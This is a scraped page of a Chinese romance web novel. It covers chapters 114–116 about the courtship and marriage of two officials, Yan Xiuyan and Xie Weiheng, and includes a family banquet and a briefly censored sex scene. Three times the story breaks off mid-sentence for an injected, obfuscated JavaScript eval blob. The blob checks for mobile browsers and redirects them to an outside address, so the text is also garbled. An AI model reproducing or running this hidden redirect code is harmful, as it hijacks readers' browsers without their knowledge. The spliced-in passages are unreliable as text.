后来再次见到燕修延时,夺位之争还未开始。 他还是那个最肆意张扬、意气风发的少年郎。 谢伟恒缓步走到桂花树前,指尖轻轻抚过那两道刻痕,眼神温柔得能滴出水来:“我原本想着,再次见面,一定要告诉你,我长得比你高了,完成了当年的约定。” 他转头,深深望着燕修延,眼中的情谊浓烈得化不开,带着一往无前的坚定:“可当我见到你手握长枪,壮志满怀地说,定要将犯我大虞者挫骨扬灰时,心中便只剩下一个念头。 我要与你成亲,你当年答应过的,要嫁给我,君子一言,驷马难追。” 燕修延下意识挠了挠后脑勺,试图掩饰自己的窘迫,还故意说些玩笑话转移话题:“我可称不上什么君子,小时候顽劣得很。以前我就一直想问,驷马难追,那几匹马才能追上啊?” 这话一出,原本缱绻深情的氛围瞬间被打破,谢伟恒又气又笑,看着他刻意闪躲的眼神,知晓他是不好意思了。 “你啊……” 谢伟恒上前一步,伸手将燕修延轻轻按在桂花树上,双臂撑在他身侧,将人圈在自己与树干之间,低头凑近他,沉声笑道:“多少匹马都追不上,婚书上,你的名字旁边,只能是我的名字,这辈子,都不会变。” 燕修延的心跳瞬间漏了一拍,心跳得飞快,几乎要跳出胸腔。 谢伟恒像是察觉到了他的心跳,缓缓抬起手,掌心轻轻按在他的胸口,感受着掌心下快速的跳动,眼底笑意更浓,语气带着几分调侃:“哥哥,我发现你每次不好意思的时候,总喜欢说些煞风景的话,来掩饰自己的慌乱。” “谁不好意思了!” 燕修延瞬间两眼一瞪,梗着脖子反驳,脸颊却愈发通红,“你别胡说八道,我才没有!” 谢伟恒顺势改口,语气故作羞涩,眼底却满是宠溺:“好好好,是我不好意思,这样抱着哥哥,心中似有小鹿乱撞,羞涩不已。” 燕修延一时语塞:“谢大人,你睁眼说瞎话的本事,真是越来越高了。所以你进京之后就开始盘算着怎么让我嫁给你了?” “是的。” 谢伟恒没有丝毫隐瞒,坦然点头。 接触几次之后,谢伟恒便知道燕修延没有认出自己。 身为苏妃太后对燕修延极为疼爱,看得跟小鸡仔似的,生怕他受半分委屈,贸然上门提亲定然行不通。 谢伟恒原本想通过多接触,慢慢让燕修延喜欢上自己,再谈后续。 可世事难料,没过多久,夺位之争便初现苗头。 皇子们纷纷入局,燕修延选择站在四皇子身后。 朝堂局势动荡不安,局势紧张,处处皆是危机,根本不是谈情说爱的时候。 燕修延伸手轻轻戳了一下谢伟恒的胸口,疑惑地问:“谢伯,就是当年那个跟在你身边的年轻管家吧?” 谢伟恒点头应道:“对。” 但凡谢伯没那么胖,瘦一点,燕修延兴许早就认出来了。 真是胖若两人啊! “对了,还有一件事我一直想问。” 燕修延看着他,眼底满是疑惑,“你的家人,对我的接受度,怎么会这么高?一见面就那般喜欢我,丝毫没有排斥,实在是出乎我的意料。” 谢伟恒眼底满是温柔,笑着解释:“因为是你啊,换做旁人,定然不会这般顺利。” 他小时候身子弱,频繁生病,家中做道士的长辈说,让我当女孩养一段时间,冲冲晦气, 那段时间,谢伟恒便一直穿裙子,唤作白白。后来遇见了混世小魔王燕修延。 谢家虽是世家,规矩虽不算严苛,却也不少。 兄弟姐妹之间和睦有礼,却少了几分寻常人家的亲热。 燕修延带着谢伟恒做了许多他从前想都不敢想的事。 上树掏小法、偷摘邻家的果子、为了抄近路一起钻狗洞、装神弄鬼吓唬欺压百姓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646271|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的坏财主、躲在暗处用弹弓打偷钱的扒手…… 说来也怪,跟在燕修延身边调皮捣蛋的那段日子,谢伟恒的身子反倒渐渐好了,不再像从前那般孱弱。 谢允烽便建议谢伟恒把朋友带回府中小住一段时间。 期间,谢允烽叮嘱谢伟恒按照自己的想法招待朋友,不必被规矩束缚,从不出面干涉。 燕修延也不认生,到了人家的地盘,照旧带着谢伟恒调皮捣蛋。 “父亲说,从未见过我那般快活的模样。” 谢伟恒看着燕修延,眼中满是笑意:“便是现在,我每次回忆起那段时光,依旧觉得满心欢喜,那是我童年里,最珍贵的日子。” 后来,燕修延要离开,谢伟恒伤心不已。 那时他便知晓,大虞男子之间可成亲,便一门心思,认定了眼前的少年。 哭着拉着他的衣角,非要他答应日后嫁给自己。 燕修延听完伸手点了点他的额头,揶揄道:“你真是从小就花花肠子多,那时候才多大点,就想着给我下套,算计着让我嫁给你了。” 他这下彻底想通了,怪不得谢父那般爽快,早早便写下聘书,原来从童年时,自己就已经是谢家认定的人了。 “谢大人~” 燕修延眼珠一转,脸上露出狡黠的笑意:“什么时候能再看见谢大人穿粉色裙子啊?还真想看看,当年那个粉雕玉琢的小丫头,如今穿裙子是什么模样。” “若燕大人想看,今晚便可。” 顿了顿,谢伟恒俯身凑近他的耳边,声音压得极低,带着暧昧的沙哑,一字一句道:“我可以穿着粉色的裙子*你。” 燕修延面无表情地伸手一把推开谢伟恒的脑袋,嘴角扯出一抹毫无感情的弧度,没好气地说:“我不想看了!你家里人,知道你私底下是这种没正形的德行吗?” 谢伟恒勾唇,眼底满是宠溺与深情,伸手轻轻揽住他的腰,语气缱绻:“私底下的事,自然只有夫君能知道,旁人,我是绝不会让他们看见的。” 燕修延单手捂住脸,一副痛苦不堪的模样,哀嚎道:“我可不想知道!” 他只想做回从前那个单纯、不谙人事的自己! 在青楼打探消息时,听遍了各类荤话,可都没有在谢伟恒这里听到的重样。 这人平日里温文尔雅,私底下竟这般会撩,让他根本招架不住。 谢伟恒笑着拿掉他捂着脸的手,轻轻抬起他的下巴,眼底带着几分期待,笑问:“那既然我不能穿,燕大人,可以穿裙子给我看吗?” “当然不可以!” 燕修延白了他一眼,语气坚决,连珠炮似的拒绝,“想都别想!梦都不许做!这辈子都不可能!” 谢伟恒点点头,一副了然的模样,淡淡道:“我知道了。” 不想,不做梦,直接找机会让他穿上就好了,不必多言。 燕修延看着他平静的神情,总觉得他眼底藏着别的心思,瞬间满脸警惕,皱着眉问:“你在想什么?我总觉得你没憋什么好主意。” 谢伟恒眼底闪过一丝不易察觉的狡黠,面上却不动声色,笑着转移话题:“在想晚上,是在家里吃,还是出去吃。” 出去吃的话,还能逛一逛街市,顺便挑两件裙子。 燕修延挺想出去吃,顺便逛逛街市,放松一下。 直觉却疯狂提醒他,万万不能出去吃。 “在家吃。” “好。” 谢伟恒眼底飞快地闪过一丝遗憾,虽转瞬即逝,却还是被燕修延捕捉到了。 燕修延眯起眼睛,上下打量着他。 果然没憋好水! 幸亏自己没选出去吃,不然指不定要被他算计什么。 ———————————— 上树掏小法:就是上树掏鸟蛋的意思,这里只是作者家乡的话???? 114. 你少得寸进尺啊! 肖泽与白天铎刚从太守府折返,回来向燕修延躬身复命。 “头儿,太守那边已经回话了,说明日中午在云起时相见。” 肖泽声音沉稳,将太守的原话一字不差地转达。 燕修延抬眸,淡淡应了一声,语气听不出波澜:“好,我知道了。” 随即他抬手指了指桌案上摆着的几碟精致点心,酥皮的香气萦绕在鼻尖,一看便是谢府厨子精心做的,“刚送来的点心,尝尝,晚上咱们在谢府用正餐。” 白天铎一听有吃的,当即咧嘴应道:“好嘞,多谢头儿!”伸手便要去拿。 肖泽轻轻拉了拉他的衣袖,上前一步对着燕修延道:“头儿,我跟天铎就不在这儿吃了,我俩出去随便找个地方对付一口,顺便在城中逛逛,看看这边的风土人情。” 白天铎满脸疑惑地转头看向肖泽,这白吃白喝的好事不香吗?干嘛非要出去瞎折腾。 肖泽察觉到他的目光,不动声色地递过去一个眼神,示意他出去之后再细说。 出去后,肖泽左右看了看,确认无人,才压低声音道:“方才我在府中廊道路过,无意间听见下人们议论,说今晚家宴来的人特别多。” 白天铎挠了挠头,还是没听明白,一脸茫然:“人多就人多呗,跟咱们出去吃饭有啥关系?” 肖泽无奈地伸手点了点他的脑袋:“你傻啊!想想你过年回家,一大家子亲戚凑在一起吃饭的场景。” 白天铎瞬间懂了,连连点头,晃着脑袋感慨:“还是你想得周到,确实是在外面吃饭自在,肖泽你真聪明!” “这俩崽子,跑的倒快。” 燕修延伸手拿起一块桂花酥点,轻轻咬了一口,酥皮簌簌掉落,甜而不腻的香气在舌尖散开,好吃得眯起了眼睛。 他又伸手准备拿第二块,指尖刚碰到点心的边缘,却突然顿住,随即缓缓收回了手。 谢伟恒将这一幕看在眼里,伸手将案上温好的清茶轻轻推到他手边,声音温润低沉,带着几分关切:“怎么不吃了?是这点心不合口味?” 燕修延摇了摇头,拿起茶杯抿了一口清茶,只是想着晚上家宴人多:“留着点胃,晚上慢慢吃,争取做最后一个下桌的。你家那么多亲戚,我大多叫不上名字。” 谢伟恒伸手拿起一块刚才燕修延没拿成的点心,轻轻递到他嘴边,语气温柔:“爱吃就多吃点,不用顾虑这些。晚上咱们就在这院子里摆桌,就咱们两个。” 燕修延微微张口,咬下他递来的点心,有些怀疑地看着他,眉梢微挑:“可以这样?” 谢伟恒顺势将他没吃完的半块点心拿过来,自己一口吃掉:“自然可以,我去跟爷爷说一声。” “哎,算了吧。” 燕修延连忙拉住他,想着还是不搞特殊,吃慢点就行。 糕点填肚子,他待会儿多吃些鲜果就好。 燕修延盘腿靠在软榻上,伸手拿起案上的鲜果,慢慢剥着皮,吃吃喝喝,谢伟恒随手拿起一本书,安静地翻看。 “我说,你到底长了几只眼睛?” 燕修延用没沾到鲜果汁水的小指,轻轻勾着谢伟恒的下巴,左右细细打量了一番。 谢伟恒被他突如其来的动作弄得一愣,放下书卷,抬眸看向他,眼底满是不解:“哥哥何出此言?” “我看你眼睛一直盯着书本看,一刻也没离开,怎么脑袋旁边还长了只眼睛,死死盯着我的手?” 燕修延撇了撇嘴,语气带着点小抱怨,“我刚剥好皮的果子,你总能冷不丁探头过来,一口吃掉,我都没吃几口。” 谢伟恒勾了勾唇角,露出一抹清浅又狡黠的笑容,声音温柔得能滴出水来:“读书使人聪慧,自然能心细如发,知道哥哥剥好了水果,是在等着我吃。” 燕修延伸手用手背贴了贴他的额头,没发烧啊,怎么还说起胡话来了。 前言不搭后语的。 “行了行了,不跟你计较,你也别抢了,我剥好了给你吃,总行了吧。” 谢伟恒瞬间笑容明朗,眉眼间满是欢喜,乖乖点头:“那就多谢哥哥了。” 燕修延安安静静地剥果子,自己吃一个,便剥一个递到谢伟恒嘴边。 谢伟恒也不伸手接,就着他的手吃下,眉眼间满是宠溺。 不过片刻功夫,案上的一盘鲜果就少了大半,只剩下零散的几颗果核。 “叩叩” 门外传来轻轻的叩门声。 “少爷,您在里面吗?” 谢伟恒淡淡开口:“进。” 燕修延瞪着谢伟恒:你撒手。 小厮推门而入,抬眼就撞见的就是谢伟恒握着燕修延的手,低头吃着他手上刚剥好的荔枝,吃完还不忘轻轻吮了一下燕修延的指尖。 小厮吓得连忙低下头。 “少、少爷,老爷请您去书房一趟,说是有要事商议。” “我知道了,稍后便去。” 谢伟恒神色淡然,仿佛刚才的亲昵举动再平常不过,丝毫没有松手的意思。 小厮不敢再多看,连忙点了点头,转身就拔腿往外跑。 乖乖!平日里少爷看着冷心冷情,对谁都疏离客气,没想到私下里和夫人竟是这般模样! 刚才那一幕,明明看着挺正常,可就是莫名让人觉得脸热,羞得不敢抬头! 燕修延木着脸,斜睨着身旁的谢伟恒:“你刚才故意的,那小厮看着就是个藏不住事的大嘴巴。” 谢伟恒满眼无辜,轻轻眨了眨眼,瞬间露出几分委屈的神色:“哥哥真是冤枉我了,我不过是想吃哥哥剥的荔枝,哪里想那么多。” 燕修延白了他一眼,没好气地说:“你早就不是当年那个穿粉裙子的小姑娘了,别总扮可怜这一套。你爹找你呢,赶紧走。” “不去了。” 谢伟恒拉着燕修延的衣袖,轻轻晃了晃:“哥哥刚才凶我,我不高兴了。” 这架势,莫名觉得有些熟悉。 燕修延反应过来,这不就是自己平日里耍赖惯用的招数吗? 只不过他耍无赖的时候,远没有谢伟恒娇。 他只要见了银子,立马就撒手。 谢伟恒要的肯定不是银子。 燕修延抱着胳膊,好整以暇地看着他,等着他的下文。 谢伟恒望着他,眼神亮晶晶的,语气带着几分期待:“要哥哥亲一下,我才能好,才肯去书房。” 燕修延:…… 这家伙,真是越来越不像话,变本加厉地。 谢伟恒锲而不舍地望着他,眼神里满是执拗。 “行行行,怕了你了。” 燕修延无奈妥协,快速凑近,在谢伟恒的脸颊上轻轻亲了一下。 谢伟恒依旧没撒手,用另一只手指了指自己的嘴唇,眼底满是笑意,摆明了得寸进尺。 燕修延看着他这模样,拳头都有些硬了。 “你少得寸进尺啊!” 可看着他满眼的期待,终究是没忍心拒绝,迟疑了片刻,还是轻轻凑了过去。 唇瓣相触的瞬间,谢伟恒却突然扣住他的后颈,轻轻加深了这个吻,温柔又缠绵,直到燕修延有些喘不过气,才缓缓松开。 “真甜。” 谢伟恒又轻轻亲了亲他的嘴角,随后拿起一旁的锦帕,细心地替他擦干净沾了果汁的手,动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646272|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作温柔至极。 “我让人在院子外守着,你若是觉得闷,想出去逛逛,就让他带路,我去书房一趟,跟父亲爷爷说几句话,去去就回。” 燕修延抬脚虚踹了他一下:“滚你的!赶紧去,少啰嗦。” 谢伟恒笑着看了他一眼,转身轻手轻脚地离开了院落,带上了房门。 躺了一会,燕修延猛地一骨碌从榻上坐起来,快步跑到屋中的铜镜前,盯着镜子里的自己看。 镜中的人,眼中还泛着淡淡的水光,眼尾微微泛红。 最要命的是,嘴唇看起来微微发肿。 别人一看便知刚才发生了什么事。 指不定还以为他们下午…… 算了,管他们怎么以为呢,他俩本就是成过亲的夫夫,私底下干点什么,又有什么不行? 燕修延瘫回软榻上,伸手去够桌子上剩下的点心和鲜果。 一边吃一边暗自琢磨,自从发现谢伟恒就是小姑娘后。 谢伟恒好像越发的不像话了。 “陛下还总说谢伟恒惯着我,分明是我一直在纵着他,真是亏大了……” “进。” 谢伟恒听到里面传来应允的声音,才推门进去。 “爷爷,父亲。” 两位谢家长辈皆是阅历深厚之人,视线轻轻扫过谢伟恒微微泛红的嘴唇,瞬间明白了什么,不约而同地露出了了然又慈爱的笑容,也不点破。 谢老爷子率先开口:“今日见修延在府中似乎有些不大习惯,晚上家宴人多,若是他不自在,你们便在自己的院子里吃。” 谢伟恒摇了摇头:“多谢爷爷体恤,孙儿方才问过修延了,他说不用。” 谢老爷子点了点头,眼中满是赞许:“既如此,那晚上吃饭的时候,让家里的晚辈、下人们都别总盯着他看,免得他越发不自在。” 他又细细问起燕修延的饮食忌口,爱吃什么口味的菜。 谢伟恒都一一仔细作答。 谢伟恒随即招来身边的下人,将燕修延的喜好和忌口仔细叮嘱了一番,让下人立刻传给厨房的厨子,务必精心准备。 待这些琐事安排妥当,谢老爷子才收敛了神色,问起京城的事宜。 谢老爷子听完,沉吟片刻,眉头微蹙:“晋王府的西域药师,来历不明,行事诡异,只怕是旁人安插到他身边的,意在借晋王之手,搅乱朝局。” 谢伟恒颔首,眼中闪过一丝思虑:“孙儿也是这般想的,那药师行踪诡秘,背后定有猫腻,孙儿已经派人暗中留意了。” 谢老爷子没有再多说朝堂之事,只是让谢伟恒切记要照顾好燕修延。 “他是天子近臣,本事出众,手下能人众多,容易成为他人的眼中钉、肉中刺,万万不可掉以轻心。” “孙儿知道,定会拼尽全力护他周全,绝不让他受半分伤害。”谢伟恒语气坚定。 谢老爷子见状,笑着打趣:“你这孩子,在我们面前总是寡言少语,私下同修延相处时,可不能这般沉闷。” 谢允烽笑着接话:“父亲放心,晚上吃饭的时候,您便知道他私下里是什么模样了,保证跟现在判若两人。” 根本不用等到晚上吃饭,谢伟恒与燕修延私下里亲昵相处的模样,早已借着那个大嘴巴小厮的嘴,传遍了整个谢府。 燕修延说的没错,那小厮确实藏不住事。 可他敢这般毫无顾忌地传话,实则是得了谢伟恒的暗中首肯。 否则消息也不会传到这般快。 以至于吃晚饭时,燕修延刚一出现,谢家上下的长辈晚辈,看向他的目光,比白日里更加和善、慈爱,满是温柔与宠溺。 115. 回京之前,老实点! 燕修延面上看着四平八稳,端着一副从容淡定的模样,一颗心却早已在胸腔里打鼓,慌得快要跳出嗓子眼。 他心里暗自盘算,早知道就答应在院子里吃饭了,反正他本就不是那种循规蹈矩、束手束脚,守规矩的人。 这也是在谢家,换作旁的地方,这般阵仗早就让他拔腿走人了。 谢伟恒轻轻牵着燕修延的手腕,引着他在席位上坐下。 两人落座净手后。 谢老爷子看着眼前两个小辈,眉眼间皆是温和笑意,朗声开口:“今日是家宴,没有外人,大家都不必拘礼,按着自己的习惯来就好。” 说罢,老爷子率先拿起筷子,夹了一筷子菜,算是开了席。 谢伟恒几乎是下意识地先动了筷,专拣着桌上精致可口的菜肴,往燕修延面前的碟子里夹,语气轻缓又自然:“吃吧,爷爷都说了,按自己的习惯来。” 燕修延暗中斜了他一眼,按自己的习惯?这么大一张桌子,那得直接站到桌上去吃——呦,面前碟子里堆着的,竟全是他平日里偏爱的口味。 不过片刻功夫,谢伟恒已经给他夹了小半碗菜,堆得像座小山,这才放下公筷,端起自己的碗,慢条斯理地用起餐来。 燕修延拿起筷子,不动声色地抬眼,淡淡环视了一圈席间众人。 谢家的长辈亲戚们都在用膳,偶尔低声交谈两句,目光虽有落在他身上,却也只是温和一扫,并无过多打量与探究,更没有围着他问东问西。 燕修延悄悄松了口气,紧绷的肩背稍稍放松,整个人自在了不少,这才安下心,安安静静地吃起饭来。 只要他碗里的菜浅下去一点,谢伟恒便会不动声色地再给他添上,动作自然流畅,仿佛早已做过千百遍。 这一幕落在谢老爷子眼中,老人家嘴角的笑意更深,眼底满是满意。 这一顿饭吃得其乐融融,气氛温和又舒服,谢家长辈们很有分寸,从不会刻意把话题往两个小辈身上引。 偶尔随口提上两句,既不会过分热切让人不自在,也不会冷淡得让人觉得被排挤在外。 燕修延吃得舒心,不知不觉竟成了最后一个放下筷子的人。 谢家长辈见了,笑呵呵地望着他:“多吃点好,年轻人正是长身体的时候,吃好睡好,比什么都强。” 燕修延擦嘴的动作一顿,嘴角几不可查地抽了抽。 这话……怎么听着跟人家圈里养猪时说的话,一模一样。 用完晚膳,两人一同回了谢伟恒居住的院子,燕修延再也撑不住那副端庄模样,径直往软榻上一瘫,整个人陷进柔软的锦垫里,随手扯过一旁的东西搭在肚子上,一脸生无可恋地瞅着谢伟恒。 “去吃饭的时候,还没进门呢,你家那些亲戚的眼神,热情得跟要把我生吞活剥了似的。” “他们不会把你生吞。” 谢伟恒低笑一声,转身去盆架边拧了张温热的帕子给燕修延擦着脸,语气低沉又暧昧:“只有我,会把你活剥、生吞。” 燕修延擦脸的动作猛地一僵,反应过来这话里的意思,当即把帕子往谢伟恒怀里一丢,恼羞成怒:“我看你是欠抽。” 谢伟恒稳稳接住帕子,顺势往前凑近一步,几乎贴到燕修延身前,唇角勾起一抹戏谑的笑:“夫君想怎么抽?” 燕修延愣了一下,才品出他话里那层不正经的意思,瞬间痛苦地捂住脸。 罢了,书读得少,真的处处吃亏。 “白日里一见修延,我就看出来了,咱们家伟恒,是把人吃得死死的。” “哈哈哈——” 谢老爷子爽朗大笑,伸手慢悠悠捋着下颌的胡须,眼底满是笃定,“这孩子是个好的。” 外头那些流言蜚语,他半点没放在心上。 他信自己的眼光,更信自家孙子看人的本事。 真要论起心眼好坏、手段深浅,燕修延那点小聪明,怕是还比不过他这个看似温文尔雅的孙子。 “谢伟恒,你肚子里的坏水都在响了,我听得一清二楚。” 燕修延往后一翻,灵巧地跃到桌子另一边,双手抱胸,警惕地盯着谢伟恒,像只防备被欺负的小兽。 “哥哥,你听错了。” 谢伟恒淡淡脱去外袍,随手搭在臂弯,一步步往前逼近:“哥哥再仔细听听?” 燕修延皮笑肉不笑:“不听。” 谢伟恒往右边挪一步,燕修延便跟着往右边躲一步。 两人隔着一张桌子,慢悠悠绕起圈来。 燕修延板着脸,郑重警告:“回京之前,你给我老实点。” 谢伟恒眉眼温顺,语气顺从得不像话:“好,我都听你的。” 燕修延狐疑地打量着他,怎么也不信这人会这么好说话。 谢伟恒却真的不再逗他,拿起一本书,在床头坐下,语气恢复正经:“明日上午,我带你出去四处转转,中午再去拜见太守。” 见他真的安分下来,燕修延这才松了口气,脱了鞋子上床躺下。 可躺着躺着,燕修延忽然脑子一转,猛地反应过来。 他说的是——回京之前老实点。 那谢伟恒满口答应,岂不是意味着——回京之后,就可以不老实了? 燕修延气得伸手,狠狠戳了戳谢伟恒的腰侧:“你们这些读书人,肚子里弯弯绕绕太多,真可恶!” 谢伟恒反手将人捞进怀里,稳稳搂在怀中,温声诱哄:“我念书给哥哥听,好不好?” 燕修延随意扫了一眼书页上的文字,瞳孔骤然一缩,脑中灵光乍现,一把将书从谢伟恒手中抽走,丢到床头。 他猛地坐起身,转身居高临下地盯着谢伟恒,又气又笑:“你是故意的!” 怪不得第一次上谢伟恒这里歇宿,这人睡前总爱看些志怪野史、精怪鬼魅的书。 谢伟恒分明记得,他小时候看这些东西,夜里容易做噩梦! 谢伟恒只是笑,不说话。 不否认,便是默认。 燕修延又气又恼,干脆跨坐在谢伟恒腿上,双手假意狠狠掐住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646273|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的脖子,咬牙道:“好你个谢伟恒!信不信我把你关去刑室,好好审一审?!” 谢伟恒非但不躲,反而伸手轻轻搂住他的腰,笑盈盈地望着他,眼底满是纵容:“夫君知道的,你想对我做什么,都可以。” 燕修延翻了个大大的白眼。 他才不知道! 他只知道,这人的爪子一点都不老实。 这般想着,他松开手,打算从谢伟恒身上下去,躺回床里去。 这人细皮嫩肉的,掐又掐不得,骂又骂不狠,实在没劲。 “……你爪子往哪儿放呢,让我下去。” 燕修延皱起眉,“说好的,回京前老实点。” 谢伟恒一脸无辜:“是燕大人自己坐到我怀里来的。” 燕修延皮笑肉不笑:“现在本官要去旁边躺着了,放开。” “燕大人,既然来了,再想走,怕是没那么容易了。” 谢伟恒唇角微勾,眸色一点点加深,落在燕修延腰上的手缓缓收紧,语气低沉又缠人:“不老实的,是燕大人才对,不是我。” 燕修延伸手轻轻拽了拽他的头发,不满地嘟囔:“你倒是会强词夺理。” 谢伟恒微微仰头,温热的唇瓣轻轻贴上他的,声音低哑缠绵:“我会的还有很多,燕大人日后会慢慢了解的。” 燕修延在心里默默反驳——他一点都不想了解。 可架不住,谢伟恒非要他一点一点,全都了解透彻。 燕修延抬手一道掌风,直接熄了案上的蜡烛。 屋内光线骤然暗下。 谢伟恒仰头,在他下巴上轻轻亲了一口,抬手温柔擦去他额角薄汗,低低叹息:“熄了蜡烛,我就看不清夫君的脸了。” 废话,就是不让你看清。 燕修延一句话都说不出来。 指尖深深陷进谢伟恒的肩头。 谢伟恒握着燕修延的**把自己的**she出去(过程缩减,读者继续幻想一下吧,这次不知道能不能过) 等蜡烛再次被点亮时,浴桶里冒着温热的水汽,燕修延半阖着眼,浑身酸软地泡在水里,有气无力地放狠话:“明天我就去跟你娘告状。” 谢伟恒坐在桶边,温柔地替他擦着手臂,笑着应道:“好,我先去备好荆条。” 燕修延睁眼,疑惑:“备荆条做什么?” “让我娘抽我,给你出气。” 燕修延不屑地“嘁”了一声,压根不信:“你娘又不像我干娘,我随便撺掇两句就动手揍陛下。” 谢伟恒眼底笑意更深:“明日试试便知。” 第二天一早,燕修延早把昨晚那句气话忘到了九霄云外。 不成想,谢老爷子反倒主动提起,看向他的眼神满是疼爱与维护:“修延啊,若是恒儿敢欺负你,只管告诉爷爷,爷爷替你收拾他。” 谢母在一旁笑着帮腔,语气十分实在:“恒儿若是跟你装可怜,你也不必怜惜。他看着皮肤娇贵,一碰就红一片、青一块,实则抗揍得很,打不坏。” 116. 太守又悟了! 燕修延笑着答应,但嘴角弯着扬了扬,冲谢伟恒递了个得意的眼色,尾音带着点狡黠的轻挑:听见没,你要是再不老实,自有旁人替我好好收拾你。” 用过朝食,二人并肩出了府门,往街市走去。 江南的景致果然比京城多了几分灵动柔婉。 街道两旁商铺鳞次栉比,朱红的、鎏金的招牌在风里轻轻晃悠,货架上的货物琳琅满目。 绫罗绸缎映着天光,瓷玉古玩泛着温润光泽,连街边小摊上的糖画、糖人都透着精巧的意趣。 商贩们的吆喝声此起彼伏。 有的高亢嘹亮,有的婉转绵长,混着街边茶馆里传来的评弹小调,揉成了江南独有的市井烟火。 身侧的小河蜿蜒如带,河水清澈见底,游鱼细石,历历可数。 河岸边的杨柳抽了新枝,嫩黄的柳丝垂落下来,拂过水面,惊起一圈圈细碎的涟漪,风一吹,柳丝轻晃,沾着的露水便簌簌落下,落在行人肩头,凉丝丝的。 “江南水土养人真是一点不假,街上见到的个个长的都不错,上次来就该多留几日,不该走得那么急的。 燕修延走着走着,脚步忽然顿住,目光被街边小摊上一支玉簪吸引。 那簪子莹白温润,顶端雕着一朵盛放的海棠,花瓣层叠,栩栩如生。 他随手拿起簪子,抬手便往谢伟恒头上比去。 指尖轻触过谢伟恒的发梢,玉簪的光泽映在他轮廓分明的侧脸上,眉眼弯得更甚。 商贩见状,连忙凑过来小声提醒,语气带着几分拘谨:“这位爷,这簪子是姑娘家戴的,爷们儿用的款式都在这边,您瞧瞧别的?” “咳。” 燕修延指尖一顿,握着簪子的手微微一顿,刚要放下,谢伟恒已先一步从袖中取出钱袋,付了账。 他缓步走到燕修延身侧,俯身凑近,温热的气息拂过燕修延的耳廓,带着江南特有的湿润茶香,声音低哑又带着点刻意的引诱:“燕大人说得没错,江南这水土,果然出美人。” 燕修延心里咯噔一下,直觉这后面藏着没好话。 果然:“哥哥不如再挑一身裙子,回头我穿给你看。” 这话一出,燕修延瞬间想起昨日谢伟恒那句撩人话语。 “不、不用穿,我不看。” 他把那支海棠玉簪收进袖中,准备找个机会送出去。 路过成衣铺时,燕修延拉着谢伟恒就快步走过,连头都不敢回。 看到街头卖艺处传来一阵热闹的叫好声,燕修延脚步一顿。 “接下来,各位看官睁大眼睛瞧好了!油锅取物!” 燕修延扯了扯谢伟恒的袖子,示意他看向对面驻足的两个人:“你看那两人,看着是不是挺眼熟的?” 谢伟恒抬眼望去,目光扫过那两个身着道袍、手持拂尘的男子,又看了看旁边身披袈裟、双手合十的和尚,低声应道,语气里带着几分了然:“是道长和大师。” 中书令出事被抓后,他俩倒是机灵,赶紧去官府把知道的全说了。 如今没了罪名,怕是又来江南府骗钱了。 江南府富庶,有钱人多,这两人换个地方,依旧干着招摇撞骗的勾当。 眼看日头渐高,时辰差不多了,二人转身往云起时酒楼走去。 前脚刚踏进雅间,后脚江南府太守便踏着步子跟了进来,一身锦袍,面容和善,拱手行礼:“燕大人、谢大人。” “太守大人。” 互相打完招呼,待各自落座。 燕修延便开门见山,将虎头山的诡异与柯缨县的蹊跷尽数说了出来,语气沉凝,条理清晰。 太守眉头微微皱起,脸上带着几分惊讶:“虎头寨不是前两年就已被围剿剿灭了吗?怎会还留有隐患?” “那柯缨县令说,他先后派了好几波人围剿,都没能成功,反倒是折损了不少兵丁。”燕修延补充道,眼底凝着几分深思。 太守沉吟片刻,当即拍板:“今日我便回府,立刻派人去柯缨县,先去虎头山查探一番,看看究竟是何缘由。” 小二端着酒菜推门进来,三人便暂时止住了话题,待小二关上门退下后,才继续闲谈。 太守端起酒杯,笑着看向二人,语气带着几分打趣:“他们也是眼瞎,居然敢动到你头上。” “对了,听闻陛下为二位赐婚,喜结连理,我远在江南,没能到场庆贺,还望二位见谅。” 燕修延与太守相熟多年,说话丝毫不见外,挑眉道:“贺礼补上,我便见谅。” 太守失笑,从袖中取出一个精致的木盒递过去:“我早料到你会这么说了,早备着呢。” 燕修延接过木盒,打开看了一眼,满意地将木盒塞到谢伟恒手中,语气自然:“收好了。” 太守见状,眼中闪过一丝惊讶。 他太了解燕修延的性子,此人素来抠门至极,一件寻常物件都舍不得放手,如今竟舍得交给谢伟恒保管? 他悟了! “看来陛下当初的赐婚,并非一时兴起,怕是燕大人早就先一步求了陛下,才定下这门亲事。 “噗——” 燕修延刚喝进嘴里的酒,猛地喷了出来,大半都溅在了桌案上:“在京城的时候,我就跟你说,少跟温瑞那家伙玩,你偏不听!脑子里都装了些什么乱七八糟的!” 